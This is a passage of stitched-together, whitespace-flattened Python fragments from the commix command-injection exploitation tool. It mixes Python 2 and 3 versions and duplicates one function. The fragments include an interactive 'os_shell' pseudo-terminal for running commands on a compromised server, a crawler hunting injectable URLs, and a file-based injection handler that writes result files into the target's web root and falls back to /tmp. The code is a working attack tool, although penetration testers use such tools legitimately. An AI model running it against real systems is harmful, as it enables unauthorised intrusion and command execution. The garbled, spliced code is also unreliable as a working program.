separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) # Try target page reload (if it is required). if settings.URL_RELOAD: response = requests.url_reload( url, timesec) if menu.options.ignore_session or\ session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None: # Evaluate injection results. shell = eb_injector.injection_results( response, TAG, cmd) shell = "".join( str(p) for p in shell).replace( " ", "", 1) if not menu.options.ignore_session: session_handler.store_cmd( url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd( url, cmd, vuln_parameter) if shell != "": shell = "".join( str(p) for p in shell) # Update logs with executed cmds and execution results. logs.executed_command( filename, cmd, shell) print("\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n") else: if settings.VERBOSITY_LEVEL != 0: print(settings. SINGLE_WHITESPACE) err_msg = "The '" + cmd + "' command, does not return any output." print( settings. print_critical_msg( err_msg) + "\n") except KeyboardInterrupt: raise except SystemExit: raise except EOFError: err_msg = "Exiting, due to EOFError." print( settings.print_error_msg(err_msg)) raise elif gotshell in settings.CHOICE_NO: if checks.next_attack_vector( technique, go_back) == True: break else: if no_result == True: return False else: return True elif gotshell in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass if no_result == True: if settings.VERBOSITY_LEVEL == 0: print(settings.SINGLE_WHITESPACE) return False else: sys.stdout.write("\r") sys.stdout.flush()
def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): err_msg = "" if menu.enumeration_options(): err_msg += "enumeration" if menu.file_access_options(): if err_msg != "": err_msg = err_msg + " and " err_msg = err_msg + "file-access" if err_msg != "": warn_msg = "The " + err_msg + " options are not supported " warn_msg += "by this module because of the structure of the exfiltrated data. " warn_msg += "Please try using any unix-like commands manually." print(settings.print_warning_msg(warn_msg)) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " gotshell = _input(settings.print_question_msg(question_msg)) else: gotshell = "" if len(gotshell) == 0: gotshell= "Y" if gotshell in settings.CHOICE_YES: print("\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)") if settings.READLINE_ERROR: checks.no_readline_module() while True: try: if not settings.READLINE_ERROR: checks.tab_autocompleter() cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": print(settings.SPACE) os._exit(0) elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": warn_msg = "You are already into the '" + cmd.lower() + "' mode." print(settings.print_warning_msg(warn_msg))+ "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." print(settings.print_warning_msg(warn_msg))+ "\n" else: # Command execution results. cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) except KeyboardInterrupt: print(settings.SPACE) os._exit(0) except: print(settings.SPACE) os._exit(0) elif gotshell in settings.CHOICE_NO: print(settings.SPACE) os._exit(0) elif gotshell in settings.CHOICE_QUIT: print(settings.SPACE) os._exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass
def main(): try: # Check if defined "--version" option. if menu.options.version: version.show_version() sys.exit(0) # Checkall the banner menu.banner() # Check python version number. version.python_version() # Check if defined "--dependencies" option. # For checking (non-core) third party dependenices. if menu.options.noncore_dependencies: checks.third_party_dependencies() sys.exit(0) # Check if defined "--update" option. if menu.options.update: update.updater() # Check if defined "--install" option. if menu.options.install: install.installer() sys.exit(0) # Check arguments if len(sys.argv) == 1: menu.parser.print_help() print "" sys.exit(0) # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " err_msg += "must be an integer value from range [0, 4]." print settings.print_critical_msg(err_msg) sys.exit(0) else: settings.VERBOSITY_LEVEL = menu.options.verbose # Check if defined "--delay" option. if menu.options.delay > "0": settings.DELAY = menu.options.delay # Define the level of tests to perform. if menu.options.level > 3: err_msg = "The value for option '--level' " err_msg += "must be an integer value from range [1, 3]." print settings.print_critical_msg(err_msg) sys.exit(0) # Define the local path where Metasploit Framework is installed. if menu.options.msf_path: settings.METASPLOIT_PATH = menu.options.msf_path # Parse target / data from HTTP proxy logs (i.e Burp / WebScarab). if menu.options.logfile: parser.logfile_parser() # Ignore the mathematic calculation part (Detection phase). if menu.options.skip_calc: settings.SKIP_CALC = True # Target URL reload. if menu.options.url_reload and menu.options.data: settings.URL_RELOAD = True # Check provided parameters for tests if menu.options.test_parameter: if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] settings.TEST_PARAMETER = menu.options.test_parameter.split( settings.PARAMETER_SPLITTING_REGEX) for i in range(0, len(settings.TEST_PARAMETER)): if "=" in settings.TEST_PARAMETER[i]: settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[ i].split("=")[0] # Check if ".git" exists and check for updated version! if os.path.isdir("./.git") and settings.CHECK_FOR_UPDATES_ON_START: update.check_for_update() # Check if defined character used for splitting parameter values. if menu.options.pdel: settings.PARAMETER_DELIMITER = menu.options.pdel # Check if defined character used for splitting cookie values. if menu.options.cdel: settings.COOKIE_DELIMITER = menu.options.cdel # Check if specified wrong injection technique if menu.options.tech and menu.options.tech not in settings.AVAILABLE_TECHNIQUES: found_tech = False # Convert injection technique(s) to lowercase menu.options.tech = menu.options.tech.lower() # Check if used the ',' separator if settings.PARAMETER_SPLITTING_REGEX in menu.options.tech: split_techniques_names = menu.options.tech.split( settings.PARAMETER_SPLITTING_REGEX) else: split_techniques_names = menu.options.tech.split() if split_techniques_names: for i in range(0, len(split_techniques_names)): if len(menu.options.tech) <= 4: split_first_letter = list(menu.options.tech) for j in range(0, len(split_first_letter)): if split_first_letter[ j] in settings.AVAILABLE_TECHNIQUES: found_tech = True else: found_tech = False if split_techniques_names[i].replace(' ', '') not in settings.AVAILABLE_TECHNIQUES and \ found_tech == False: err_msg = "You specified wrong value '" + split_techniques_names[ i] err_msg += "' as injection technique. " err_msg += "The value, must be a string composed by the letters (C)lassic, (E)val-based, " err_msg += "(T)ime-based, (F)ile-based (with or without commas)." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower( ) not in settings.AVAILABLE_SHELLS: err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" print settings.print_critical_msg(err_msg) sys.exit(0) # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: err_msg = "Host's absolute filepath to write and/or upload, must be specified (--file-dest)." print settings.print_critical_msg(err_msg) sys.exit(0) if menu.options.file_dest and menu.options.file_write == None and menu.options.file_upload == None: err_msg = "You must enter the '--file-write' or '--file-upload' parameter." print settings.print_critical_msg(err_msg) sys.exit(0) # Check if defined "--random-agent" option. if menu.options.random_agent: menu.options.agent = random.choice(settings.USER_AGENT_LIST) # Check if defined "--url" option. if menu.options.url: url = menu.options.url # Check if http / https url = checks.check_http_s(url) # Load the crawler if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth url = crawler.crawler(url) if menu.options.output_dir: output_dir = menu.options.output_dir else: output_dir = settings.OUTPUT_DIR # One directory up, if Windows or if the script is being run under "/src". if settings.IS_WINDOWS or "/src" in os.path.dirname( os.path.abspath(__file__)): os.chdir("..") output_dir = os.path.dirname(output_dir) try: os.stat(output_dir) except: os.mkdir(output_dir) # The logs filename construction. filename = logs.create_log_file(url, output_dir) try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) headers.do_check(request) #headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: proxy.do_check(url) # Check if defined Tor (--tor option). elif menu.options.tor: tor.do_check() if menu.options.flush_session: session_handler.flush(url) info_msg = "Checking connection to the target URL... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if settings.VERBOSITY_LEVEL >= 2: print "" headers.check_http_traffic(request) try: # Check if defined any HTTP Proxy (--proxy option). if menu.options.proxy: response = proxy.use_proxy(request) # Check if defined Tor (--tor option). elif menu.options.tor: response = tor.use_tor(request) else: try: response = urllib2.urlopen(request) except ValueError: # Invalid format for the '--headers' option. if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "Use '--headers=\"HEADER_NAME:HEADER_VALUE\"' " err_msg += "to provide an HTTP header or" err_msg += " '--headers=\"HEADER_NAME:" + settings.WILDCARD_CHAR + "\"' " err_msg += "if you want to try to exploit the provided HTTP header." print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.HTTPError, e: if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = str(e).replace(": ", " (") + ")." print settings.print_critical_msg(err_msg) raise SystemExit html_data = content = response.read() if settings.VERBOSITY_LEVEL < 2: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" # Check for CGI scripts on url checks.check_CGI_scripts(url) # Modification on payload if not menu.options.shellshock: #settings.CURRENT_USER = "******" + settings.CURRENT_USER + ")" settings.SYS_USERS = "echo $(" + settings.SYS_USERS + ")" settings.SYS_PASSES = "echo $(" + settings.SYS_PASSES + ")" # Check if defined "--file-upload" option. if menu.options.file_upload: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): # Check if not defined URL for upload. while True: question_msg = "Do you want to enable an HTTP server? [Y/n/q] > " sys.stdout.write( settings.print_question_msg(question_msg)) enable_HTTP_server = sys.stdin.readline().replace( "\n", "").lower() if len(enable_HTTP_server) == 0: enable_HTTP_server = "y" if enable_HTTP_server in settings.CHOICE_YES: # Check if file exists if not os.path.isfile( menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' file, does not exists." sys.stdout.write( settings.print_critical_msg(err_msg) + "\n") sys.exit(0) http_server = "http://" + str( settings.LOCAL_HTTP_IP) + ":" + str( settings.LOCAL_HTTP_PORT) + "/" info_msg = "Setting the HTTP server on '" + http_server + "'. " print settings.print_info_msg(info_msg) menu.options.file_upload = http_server + menu.options.file_upload simple_http_server.main() break elif enable_HTTP_server in settings.CHOICE_NO: if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): err_msg = "The '" + menu.options.file_upload + "' is not a valid URL. " print settings.print_critical_msg(err_msg) sys.exit(0) break elif enable_HTTP_server in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + enable_HTTP_server + "' is not a valid answer." print settings.print_error_msg(err_msg) pass try: urllib2.urlopen(menu.options.file_upload) except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0) except urllib2.URLError, err_msg: print settings.print_critical_msg(err_msg) sys.exit(0)
def crawler(url): if menu.options.crawldepth > 0: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = menu.options.crawldepth if not menu.options.sitemap_url: if menu.options.DEFAULT_CRAWLDEPTH_LEVEL > 2: err_msg = "Depth level '" + str(menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "' is not a valid." print(settings.print_error_msg(err_msg)) raise SystemExit() info_msg = "Starting crawler and searching for " info_msg += "links with depth " + str(menu.options.DEFAULT_CRAWLDEPTH_LEVEL) + "." print(settings.print_info_msg(info_msg)) else: while True: if not menu.options.batch: question_msg = "Do you want to change the crawling depth level? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # change_depth_level = sys.stdin.readline().replace("\n","").lower() change_depth_level = _input(settings.print_question_msg(question_msg)) else: change_depth_level = "" if len(change_depth_level) == 0: change_depth_level = "y" if change_depth_level in settings.CHOICE_YES or change_depth_level in settings.CHOICE_NO: break elif change_depth_level in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + change_depth_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass # Change the crawling depth level. if change_depth_level in settings.CHOICE_YES: while True: question_msg = "Please enter the crawling depth level (1-2) > " # sys.stdout.write(settings.print_question_msg(question_msg)) # depth_level = sys.stdin.readline().replace("\n","").lower() depth_level = _input(settings.print_question_msg(question_msg)) if len(depth_level) == 0: depth_level = 1 break elif str(depth_level) != "1" and str(depth_level) != "2": err_msg = "Depth level '" + depth_level + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: menu.options.DEFAULT_CRAWLDEPTH_LEVEL = depth_level break while True: if not menu.options.sitemap_url: if not menu.options.batch: question_msg = "Do you want to check target for " question_msg += "the existence of site's sitemap(.xml)? [y/N] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # sitemap_check = sys.stdin.readline().replace("\n","").lower() sitemap_check = _input(settings.print_question_msg(question_msg)) else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "n" if sitemap_check in settings.CHOICE_YES: sitemap_check = True break elif sitemap_check in settings.CHOICE_NO: sitemap_check = False break elif sitemap_check in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + sitemap_check + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: sitemap_check = True break if sitemap_check: output_href = sitemap(url) sitemap_check = output_href for recursion in output_href: if recursion.endswith(".xml") and "sitemap" in recursion.lower(): while True: warn_msg = "A sitemap recursion was detected " + "'" + recursion + "'." print(settings.print_warning_msg(warn_msg)) if not menu.options.batch: question_msg = "Do you want to follow the detected recursion? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # sitemap_check = sys.stdin.readline().replace("\n","").lower() sitemap_check = _input(settings.print_question_msg(question_msg)) else: sitemap_check = "" if len(sitemap_check) == 0: sitemap_check = "y" if sitemap_check in settings.CHOICE_YES: output_href = sitemap(recursion) sitemap_check = output_href break elif sitemap_check in settings.CHOICE_NO: break elif sitemap_check in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + sitemap_check + "' is not a valid answer." print(settings.print_error_msg(err_msg)) pass else: output_href = do_process(url) filename = store_crawling() info_msg = "Checking " if sitemap_check: info_msg += "targets's sitemap.xml " info_msg += "for usable links with GET parameters... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() succeed_banner = True valid_url_found = False try: url_num = 0 valid_urls = [] for check_url in output_href: # Check for usable URL with GET parameters if re.search(settings.GET_PARAMETERS_REGEX, check_url): valid_url_found = True url_num += 1 if succeed_banner: print("[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]") print(settings.print_success_msg("URL " + str(url_num) + " - " + check_url)) if filename is not None: with open(filename, "a") as crawling_results: crawling_results.write(check_url + "\n") if not menu.options.batch: question_msg = "Do you want to use this URL to perform tests? [Y/n] > " # sys.stdout.write(settings.print_question_msg(question_msg)) # use_url = sys.stdin.readline().replace("\n","").lower() use_url = _input(settings.print_question_msg(question_msg)) else: use_url = "" if len(use_url) == 0: use_url = "y" if use_url in settings.CHOICE_YES: return check_url elif use_url in settings.CHOICE_NO: info_msg = "Skipping '" + check_url + "'.\n" sys.stdout.write(settings.print_info_msg(info_msg)) succeed_banner = False pass elif use_url in settings.CHOICE_QUIT: raise SystemExit() raise SystemExit() except TypeError: pass if not valid_url_found: print("[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]") raise SystemExit() # eof
def do_check(url, filename): if menu.options.enable_backticks: if not menu.options.tech or "e" in menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: warn_msg = "The '--backticks' switch is only supported by the classic command injection. " warn_msg += "It will be ignored for all other techniques." print settings.print_warning_msg(warn_msg) + Style.RESET_ALL if menu.options.wizard: if perform_checks(url, filename) == False: scan_level = menu.options.level while int(scan_level) < int(settings.HTTP_HEADER_INJECTION_LEVEL ) and settings.LOAD_SESSION != True: if not menu.options.batch: question_msg = "Do you want to increase to '--level=" + str( scan_level + 1) question_msg += "' in order to perform more tests? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n", "").lower() else: next_level = "" if len(next_level) == 0: next_level = "y" if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks( url, filename ) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL: scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: sys.exit(0) else: err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass else: perform_checks(url, filename) # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False: if settings.INJECTION_CHECKER == False and not settings.CHECK_BOTH_OS: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell: err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL: err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Host', 'Cookie' etc)" else: if menu.options.skip_empty: err_msg += " and/or try to remove the option '--skip-empty'" err_msg += "." print settings.print_critical_msg(err_msg) logs.print_logs_notification(filename, url) if not settings.CHECK_BOTH_OS: # if not menu.options.bulkfile or settings.EOF: # print "" sys.exit(0) # eof
def input_cmd(dns_server, http_request_method, url, vuln_parameter, technique): err_msg = "" if menu.enumeration_options(): err_msg += "enumeration" if menu.file_access_options(): if err_msg != "": err_msg = err_msg + " and " err_msg = err_msg + "file-access" if err_msg != "": warn_msg = "The " + err_msg + " options are not supported " warn_msg += "by this module because of the structure of the exfiltrated data. " warn_msg += "Please try using any unix-like commands manually." print settings.print_warning_msg(warn_msg) # Pseudo-Terminal shell go_back = False go_back_again = False while True: if go_back == True: break if not menu.options.batch: question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) gotshell = sys.stdin.readline().replace("\n", "").lower() else: gotshell = "" if len(gotshell) == 0: gotshell = "y" if gotshell in settings.CHOICE_YES: print "\nPseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)" if readline_error: checks.no_readline_module() while True: try: # Tab compliter if not readline_error: readline.set_completer(menu.tab_completer) # MacOSX tab compliter if getattr(readline, '__doc__', '') is not None and 'libedit' in getattr( readline, '__doc__', ''): readline.parse_and_bind("bind ^I rl_complete") # Unix tab compliter else: readline.parse_and_bind("tab: complete") cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """) cmd = checks.escaped_cmd(cmd) if cmd.lower() in settings.SHELL_OPTIONS: if cmd.lower() == "quit" or cmd.lower() == "back": print "" os._exit(0) elif cmd.lower() == "?": menu.os_shell_options() elif cmd.lower() == "os_shell": warn_msg = "You are already into the '" + cmd.lower( ) + "' mode." print settings.print_warning_msg(warn_msg) + "\n" elif cmd.lower() == "reverse_tcp": warn_msg = "This option is not supported by this module." print settings.print_warning_msg(warn_msg) + "\n" else: # Command execution results. cmd_exec(dns_server, http_request_method, cmd, url, vuln_parameter) except KeyboardInterrupt: print "" os._exit(0) except: print "" os._exit(0) elif gotshell in settings.CHOICE_NO: print "" os._exit(0) elif gotshell in settings.CHOICE_QUIT: print "" os._exit(0) else: err_msg = "'" + gotshell + "' is not a valid answer." print settings.print_error_msg(err_msg) pass
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response): shell = False counter = 1 vp_flag = True exit_loops = False no_result = True is_encoded = False stop_injection = False call_tmp_based = False next_attack_vector = False export_injection_info = False injection_type = "semi-blind command injection" technique = "file-based command injection technique" tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) if not settings.LOAD_SESSION or settings.RETEST == True: TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) info_msg = "Trying to create a file in '" + settings.WEB_ROOT info_msg += "' for command execution results. " print(settings.print_info_msg(info_msg)) i = 0 # Calculate all possible combinations total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len( settings.SEPARATORS) * len(settings.SUFFIXES) # Check if defined alter shell alter_shell = menu.options.alter_shell for whitespace in settings.WHITESPACE: for prefix in settings.PREFIXES: for suffix in settings.SUFFIXES: for separator in settings.SEPARATORS: # Check injection state settings.DETECTION_PHASE = True settings.EXPLOITATION_PHASE = False # If a previous session is available. if settings.LOAD_SESSION: try: settings.FILE_BASED_STATE = True url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation( url, http_request_method) checks.check_for_stored_tamper(payload) OUTPUT_TEXTFILE = TAG + ".txt" session_handler.notification( url, technique, injection_type) if technique == "tempfile-based injection technique": #settings.LOAD_SESSION = True tfb_handler.exploitation( url, timesec, filename, tmp_path, http_request_method, url_time_response) except TypeError: err_msg = "An error occurred while accessing session file ('" err_msg += settings.SESSION_FILE + "'). " err_msg += "Use the '--flush-session' option." print(settings.print_critical_msg(err_msg)) raise SystemExit() if settings.RETEST == True: settings.RETEST = False from src.core.injections.results_based.techniques.classic import cb_handler cb_handler.exploitation(url, timesec, filename, http_request_method) if not settings.LOAD_SESSION: i = i + 1 # The output file for file-based injection technique. OUTPUT_TEXTFILE = TAG + ".txt" # Check for bad combination of prefix and separator combination = prefix + separator if combination in settings.JUNK_COMBINATION: prefix = "" try: # File-based decision payload (check if host is vulnerable). if alter_shell: payload = fb_payloads.decision_alter_shell( separator, TAG, OUTPUT_TEXTFILE) else: payload = fb_payloads.decision( separator, TAG, OUTPUT_TEXTFILE) # Check if defined "--prefix" option. # Fix prefixes / suffixes payload = parameters.prefixes(payload, prefix) payload = parameters.suffixes(payload, suffix) # Whitespace fixation payload = payload.replace(" ", whitespace) # Perform payload modification payload = checks.perform_payload_modification( payload) # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL == 1: payload_msg = payload.replace("\n", "\\n") print(settings.print_payload(payload_msg)) # Check if defined "--verbose" option. elif settings.VERBOSITY_LEVEL >= 2: debug_msg = "Generating payload for the injection." print(settings.print_debug_msg(debug_msg)) print(settings.print_payload(payload)) # Cookie Injection if settings.COOKIE_INJECTION == True: # Check if target host is vulnerable to cookie header injection. vuln_parameter = parameters.specify_cookie_parameter( menu.options.cookie) response = fb_injector.cookie_injection_test( url, vuln_parameter, payload) # User-Agent HTTP Header Injection elif settings.USER_AGENT_INJECTION == True: # Check if target host is vulnerable to user-agent HTTP header injection. vuln_parameter = parameters.specify_user_agent_parameter( menu.options.agent) response = fb_injector.user_agent_injection_test( url, vuln_parameter, payload) # Referer HTTP Header Injection elif settings.REFERER_INJECTION == True: # Check if target host is vulnerable to Referer HTTP header injection. vuln_parameter = parameters.specify_referer_parameter( menu.options.referer) response = fb_injector.referer_injection_test( url, vuln_parameter, payload) # Host HTTP Header Injection elif settings.HOST_INJECTION == True: # Check if target host is vulnerable to Host HTTP header injection. vuln_parameter = parameters.specify_host_parameter( menu.options.host) response = fb_injector.host_injection_test( url, vuln_parameter, payload) # Custom HTTP header Injection elif settings.CUSTOM_HEADER_INJECTION == True: # Check if target host is vulnerable to custom HTTP header injection. vuln_parameter = parameters.specify_custom_header_parameter( settings.INJECT_TAG) response = fb_injector.custom_header_injection_test( url, vuln_parameter, payload) else: # Check if target host is vulnerable. response, vuln_parameter = fb_injector.injection_test( payload, http_request_method, url) # Find the directory. output = fb_injector.injection_output( url, OUTPUT_TEXTFILE, timesec) time.sleep(timesec) try: # Check if defined extra headers. request = _urllib.request.Request(output) headers.do_check(request) # Evaluate test results. output = _urllib.request.urlopen( request, timeout=settings.TIMEOUT) html_data = output.read() shell = re.findall(r"" + TAG + "", str(html_data)) if len(shell) != 0 and shell[ 0] == TAG and not settings.VERBOSITY_LEVEL >= 1: percent = settings.info_msg info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() if len(shell) == 0: raise _urllib.error.HTTPError( url, 404, 'Error', {}, None) except _urllib.error.HTTPError as e: if str(e.getcode() ) == settings.NOT_FOUND_ERROR: percent = ((i * 100) / total) float_percent = "{0:.1f}".format( round(((i * 100) / (total * 1.0)), 2)) if call_tmp_based == True: exit_loops = True tmp_path = os.path.split( menu.options.file_dest)[0] + "/" tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) raise # Show an error message, after N failed tries. # Use the "/tmp/" directory for tempfile-based technique. elif i == int(menu.options.failed_tries ) and no_result == True: tmp_path = check_tmp_path( url, timesec, filename, http_request_method, url_time_response) warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg( warn_msg)) print("") while True: if not menu.options.batch: question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n] > " tmp_upload = _input( settings. print_question_msg( question_msg)) else: tmp_upload = "" if len(tmp_upload) == 0: tmp_upload = "Y" if tmp_upload in settings.CHOICE_YES: exit_loops = True settings.TEMPFILE_BASED_STATE = True call_tfb = tfb_controller( no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) if call_tfb != False: return True else: if no_result == True: return False else: return True elif tmp_upload in settings.CHOICE_NO: break elif tmp_upload in settings.CHOICE_QUIT: print("") raise else: err_msg = "'" + tmp_upload + "' is not a valid answer." print( settings.print_error_msg( err_msg)) pass continue else: if exit_loops == False: if settings.VERBOSITY_LEVEL == 0: if str(float_percent ) == "100.0": if no_result == True: percent = settings.FAIL_STATUS else: percent = ".. (" + str( float_percent ) + "%)" else: percent = ".. (" + str( float_percent) + "%)" info_msg = "Testing the " + "(" + injection_type.split( " " )[0] + ") " + technique + "." + "" + percent + "" sys.stdout.write( "\r" + settings.print_info_msg( info_msg)) sys.stdout.flush() continue else: continue else: raise elif str(e.getcode() ) == settings.UNAUTHORIZED_ERROR: err_msg = "Authorization required!" print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() elif str(e.getcode() ) == settings.FORBIDDEN_ERROR: err_msg = "You don't have permission to access this page." print( settings.print_critical_msg(err_msg) + "\n") raise SystemExit() except KeyboardInterrupt: # Delete previous shell (text) files (output) delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except SystemExit: if 'vuln_parameter' in locals(): # Delete previous shell (text) files (output) delete_previous_shell( separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) raise except _urllib.error.URLError as e: warn_msg = "It seems that you don't have permissions to " warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'." sys.stdout.write( "\r" + settings.print_warning_msg(warn_msg)) err_msg = str(e).replace(": ", " (") + ")." if menu.options.verbose > 1: print("") print(settings.print_critical_msg(err_msg)) # Provide custom server's root directory. custom_web_root(url, timesec, filename, http_request_method, url_time_response) continue except: raise # Yaw, got shellz! # Do some magic tricks! if shell: settings.FILE_BASED_STATE = True found = True no_result = False # Check injection state settings.DETECTION_PHASE = False settings.EXPLOITATION_PHASE = True if not settings.VERBOSITY_LEVEL >= 1 and \ not menu.options.alter_shell and \ not next_attack_vector: next_attack_vector = True if settings.COOKIE_INJECTION == True: header_name = " cookie" found_vuln_parameter = vuln_parameter the_type = " parameter" elif settings.USER_AGENT_INJECTION == True: header_name = " User-Agent" found_vuln_parameter = "" the_type = " HTTP header" elif settings.REFERER_INJECTION == True: header_name = " Referer" found_vuln_parameter = "" the_type = " HTTP header" elif settings.HOST_INJECTION == True: header_name = "Host" found_vuln_parameter = "" the_type = " HTTP header" elif settings.CUSTOM_HEADER_INJECTION == True: header_name = " " + settings.CUSTOM_HEADER_NAME found_vuln_parameter = "" the_type = " HTTP header" else: header_name = "" the_type = " parameter" if http_request_method == "GET": found_vuln_parameter = parameters.vuln_GET_param( url) else: found_vuln_parameter = vuln_parameter if len(found_vuln_parameter) != 0: found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'" # Print the findings to log file. if export_injection_info == False: export_injection_info = logs.add_type_and_technique( export_injection_info, filename, injection_type, technique) if vp_flag == True: vp_flag = logs.add_parameter( vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload) logs.update_payload(filename, counter, payload) counter = counter + 1 if not settings.LOAD_SESSION: if settings.VERBOSITY_LEVEL == 0: print("") else: checks.total_of_requests() # Print the findings to terminal. info_msg = "The" if len(found_vuln_parameter ) > 0 and not "cookie" in header_name: info_msg += " " + http_request_method info_msg += ('', ' (JSON)')[settings.IS_JSON] + ( '', ' (SOAP/XML)' )[settings.IS_XML] + the_type + header_name info_msg += found_vuln_parameter + " seems injectable via " info_msg += "(" + injection_type.split( " ")[0] + ") " + technique + "." print(settings.print_bold_info_msg(info_msg)) sub_content = str(checks.url_decode(payload)) print(settings.print_sub_content(sub_content)) # Export session if not settings.LOAD_SESSION: session_handler.injection_point_importation( url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) else: whitespace = settings.WHITESPACE[0] settings.LOAD_SESSION = False # Check for any enumeration options. new_line = True if settings.ENUMERATION_DONE == True: while True: if not menu.options.batch: question_msg = "Do you want to enumerate again? [Y/n] > " enumerate_again = _input( "\n" + settings.print_question_msg( question_msg)).lower() else: enumerate_again = "" if len(enumerate_again) == 0: 